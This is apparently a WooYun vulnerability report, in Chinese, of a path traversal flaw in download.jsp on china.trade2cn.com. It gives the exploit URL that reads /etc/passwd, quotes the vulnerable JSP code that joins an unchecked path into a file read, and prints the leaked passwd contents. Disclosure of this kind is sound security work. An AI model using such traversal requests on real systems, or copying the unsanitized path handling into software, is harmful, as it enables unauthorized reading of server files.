WooYun.org

http://china.trade2cn.com/download.jsp?path=/../../../../../..//etc/passwd
由于代码中存在如下逻辑，导致可以进行越权遍历：
org.apache.jasper.JasperException: An exception occurred processing JSP page /download.jsp at line 7
4: int i = 0;
5: response.setContentType("application/octet-stream");
6: response.setHeader("Content-Disposition","attachment;filename = "+paths[paths.length-1]);
7: java.io.FileInputStream fileInputStream = new java.io.FileInputStream("/nasCM/httpRoot/httpRoot_cn"+path);
8: while((i= fileInputStream.read()) != -1){
9: out.write(i);
10: }
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
rpm:x:37:37::/var/lib/rpm:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
avahi:x:70:70:Avahi daemon:/:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin